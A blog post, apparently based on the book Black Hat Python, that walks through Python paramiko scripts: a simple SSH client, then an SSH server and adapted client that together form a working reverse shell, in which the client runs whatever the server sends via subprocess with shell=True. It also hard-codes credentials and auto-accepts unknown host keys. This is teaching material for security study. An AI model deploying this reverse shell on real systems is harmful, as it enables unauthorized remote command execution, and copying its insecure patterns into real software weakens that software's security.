Sie sind auf Seite 1von 11

Black Hat Python: The Paramiko

Module
Sat 13 December 2014 Category Networking Tags Python paramiko SSH PyCrypto getopt threading socket Book

This is the second post based on my readings from Black Hat Python. Yesterday I talked about Python's socket
module and today I'm talking about the paramiko module.

Paramiko is awesome!!! It uses my dear PyCrypto to give us access to the SSH2 protocol, and it has a flexible and
easy to use API.

You are going to see it with your own eyes: in this post we will see code for SSH clients and servers, reverse shells,
and tunnel connections, and it will be smooth and fun (and remember that my source codes are available in
my github repo)!

Shall we start?

A Simple SSH Client


The first program we are going to write is a SSH client that makes a connection to some available SSH server, and
then runs a single command that we send to it.

But before we start, make sure you have paramiko installed in our environment:

$ sudo pip install paramiko

Writing the SSH Client Script


Now we are ready to create our script. We start with a usage function. Since paramiko supports authentication with
both a password and/or an identity file (a key), our usage function shows how to send these arguments when we run
the script (plus the port, username, and the command we want to run):

def usage():

print "Usage: ssh_client.py <IP> -p <PORT> -u <USER> -c <COMMAND> -a <PASSWORD> -


k <KEY> -c <COMMAND>"

print " -a password authentication"

print " -i identity file location"

print " -c command to be issued"

print " -p specify the port"

print " -u specify the username"

print

print "Examples:"
print "ssh_client.py 129.49.76.26 -u buffy -p 22 -a killvampires -c pwd"

sys.exit()

Moving to the main function, we are going to use getopt module to parse the arguments. That's basically what the
main function does: parse the arguments, sending them to the ssh_client function:
import paramiko

import sys

import getopt

def main():

if not len(sys.argv[1:]):

usage()

IP = '0.0.0.0'

USER = ''

PASSWORD = ''

KEY = ''

COMMAND = ''

PORT = 0

try:

opts = getopt.getopt(sys.argv[2:],"p:u:a:i:c:", \

["PORT", "USER", "PASSWORD", "KEY", "COMMAND"])[0]

except getopt.GetoptError as err:

print str(err)

usage()

IP = sys.argv[1]

print "[*] Initializing connection to " + IP

# Handle the options and arguments

for t in opts:

if t[0] in ('-a'):
PASSWORD = t[1]

elif t[0] in ('-i'):

KEY = t[1]

elif t[0] in ('-c'):

COMMAND = t[1]

elif t[0] in ('-p'):

PORT = int(t[1])

elif t[0] in ('-u'):

USER = t[1]

else:

print "This option does not exist!"

usage()

if USER:

print "[*] User set to " + USER

if PORT:

print "[*] The port to be used is %d. " % PORT

if PASSWORD:

print "[*] A password with length %d was submitted. " %len(PASSWORD)

if KEY:

print "[*] The key at %s will be used." % KEY

if COMMAND:

print "[*] Executing the command '%s' in the host..." % COMMAND

else:

print "You need to specify the command to the host."

usage()

# start the client

ssh_client(IP, PORT, USER, PASSWORD, KEY, COMMAND)

if __name__ == '__main__':

main()

The magic happens in the ssh_client function, which performs the following steps:
1. Creates a paramiko ssh client object.
2. Checks if the key variable is not empty, and in this case, loads it. If the key is not found, the program sets the policy to
accept the SSH key for the SSH server (if we don't do this, an exception is raised saying that the server is not found in
known_hosts).
3. Makes the connection and creates a session.
4. Checks whether this section is active and runs the command we sent.

Let's see how this works in the code:


def ssh_client(ip, port, user, passwd, key, command):

client = paramiko.SSHClient()

if key:

client.load_host_keys(key)

else:

client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

client.connect(ip, port=port, username=user, password=passwd)

ssh_session = client.get_transport().open_session()

if ssh_session.active:

ssh_session.exec_command(command)

print

print ssh_session.recv(4096)

Easy, huh?

Running the Script


We are ready to run our script. If we use the example in the usage function (and supposing the account exists in that
host), we will see the following:

$ ssh_client.py 129.49.76.26 -u buffy -p 22 -a killvampires -c pwd

[*] Initializing connection to 129.49.76.26

[*] User set to buffy

[*] The port to be used is 22.

[*] A password with length 12 was submitted.

[*] Executing the command 'pwd' in the host...


/home/buffy.

A SSH Server to Reverse a Client Shell


What if we also control the SSH server and we are able to send commands to our SSH client? This is exactly what
we are going to do now: we are going to write a class for this server (with a little help of the socket module) and
then we will be able to reverse the shell!

As a note, this script is based in some of the paramiko demos and we specifically use the key from their demo files
(download here).

The SSH Server


In our server script, we first create a class Server that issues a new thread event, checking whether the session is
valid, and performing authentication. Notice that for simplicity we are hard-coding the values for username,
password and host key, which is never a good practice:

HOST_KEY = paramiko.RSAKey(filename='test_rsa.key')

USERNAME = 'buffy'

PASSWORD = 'killvampires'

class Server(paramiko.ServerInterface):

def __init__(self):

self.event = threading.Event()

def check_channel_request(self, kind, chanid):

if kind == 'session':

return paramiko.OPEN_SUCCEEDED

return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

def check_auth_password(self, username, password):

if (username == USERNAME) and (password == PASSWORD):

return paramiko.AUTH_SUCCESSFUL

return paramiko.AUTH_FAILED

Now, let's take a look at the main function, which does the following:

1. Creates a socket object to bind the host and port, so it can listen for incoming connections.
2. Once a connection is established (the client tried to connect to the server and the socket accepted the connection), it creates
a paramiko Transport object for this socket. In paramiko there are two main communication methods: Transport, which
makes and maintains the encrypted connection, and Channel, which is like a socket for sending/receiving data over the
encrypted session (the other three are Client, Message, and Packetizer).
3. The program instantiates a Server object and starts the paramiko session with it.
4. Authentication is attempted. If it is successful, we get a ClientConnected message.
5. The server starts a loop where it will keep getting input commands from the user and issuing it in the client. This is our
reversed shell!

import paramiko

import getopt

import threading

import sys

import socket

def main():

if not len(sys.argv[1:]):

print "Usage: ssh_server.py <SERVER> <PORT>"

sys.exit(0)

# creating a socket object

server = sys.argv[1]

ssh_port = int(sys.argv[2])

try:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

sock.bind((server, ssh_port))

sock.listen(100)

print "[+] Listening for connection ..."

client, addr = sock.accept()

except Exception, e:

print "[-] Connection Failed: " + str(e)

sys.exit(1)

print "[+] Connection Established!"

# creating a paramiko object


try:

Session = paramiko.Transport(client)

Session.add_server_key(HOST_KEY)

paramiko.util.log_to_file("filename.log")

server = Server()

try:

Session.start_server(server=server)

except paramiko.SSHException, x:

print '[-] SSH negotiation failed.'

chan = Session.accept(10)

print '[+] Authenticated!'

chan.send("Welcome to Buffy's SSH")

while 1:

try:

command = raw_input("Enter command: ").strip('\n')

if command != 'exit':

chan.send(command)

print chan.recv(1024) + '\n'

else:

chan.send('exit')

print '[*] Exiting ...'

session.close()

raise Exception('exit')

except KeyboardInterrupt:

session.close()

except Exception, e:

print "[-] Caught exception: " + str(e)

try:

session.close()

except:

pass
sys.exit(1)

if __name__ == '__main__':

main()

The SSH Client


The last piece for our reversed shell is to make the SSH client to be able to receive commands from the server.

We are going to adapt the previous client script to receive these commands. All we need to do is to add a loop inside
the session:
import paramiko

import sys

import getopt

import subprocess

def usage():

print "Usage: ssh_client.py <IP> -p <PORT> -u <USER> -c <COMMAND> -a <PASSWORD>"

print " -a password authentication"

print " -p specify the port"

print " -u specify the username"

print

print "Examples:"

print "ssh_client.py localhost -u buffy -p 22 -a killvampires"

sys.exit()

def ssh_client(ip, port, user, passwd):

client = paramiko.SSHClient()

client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

client.connect(ip, port=port, username=user, password=passwd)

ssh_session = client.get_transport().open_session()

if ssh_session.active:

print ssh_session.recv(1024)

while 1:

command = ssh_session.recv(1024)
try:

cmd_output = subprocess.check_output(command, shell=True)

ssh_session.send(cmd_output)

except Exception, e:

ssh_session.send(str(e))

client.close()

def main():

if not len(sys.argv[1:]):

usage()

IP = '0.0.0.0'

USER = ''

PASSWORD = ''

PORT = 0

try:

opts = getopt.getopt(sys.argv[2:],"p:u:a:", \

["PORT", "USER", "PASSWORD"])[0]

except getopt.GetoptError as err:

print str(err)

usage()

IP = sys.argv[1]

print "[*] Initializing connection to " + IP

for t in opts:

if t[0] in ('-a'):

PASSWORD = t[1]

elif t[0] in ('-p'):

PORT = int(t[1])

elif t[0] in ('-u'):

USER = t[1]

else:

print "This option does not exist!"

usage()
if USER:

print "[*] User set to " + USER

if PORT:

print "[*] The port to be used is %d. " % PORT

if PASSWORD:

print "[*] A password with length %d was submitted. " %len(PASSWORD)

ssh_client(IP, PORT, USER, PASSWORD)

if __name__ == '__main__':

main()

Running both Scripts


Let's run each script in a different terminal. First, the server:

$ ssh_server.py localhost 22

[+] Listening for connection ...

Then the client:

$ ssh_client_reverse.py localhost -p 22 -u buffy -a killvampires

[*] Initializing connection to localhost

[*] User set to buffy

[*] The port to be used is 22.

[*] A password with length 12 was submitted.

Welcome to Buffy's SSH

Now we can send any command from the server side to run in the client: we have a reversed shell!
[+] Listening for connection ...

[+] Connection Established!

[+] Authenticated!

Enter command: ls

filename.log

ssh_client.py

ssh_client_reverse.py

ssh_server.py

test_rsa.key
Enter command:

Awesomesauce!

Ah, by the way, all these scripts work not only in Linux but in Windows and Mac as well (so next time you are in a
lame Windows machine, no need to install Putty anymore =p ).

Das könnte Ihnen auch gefallen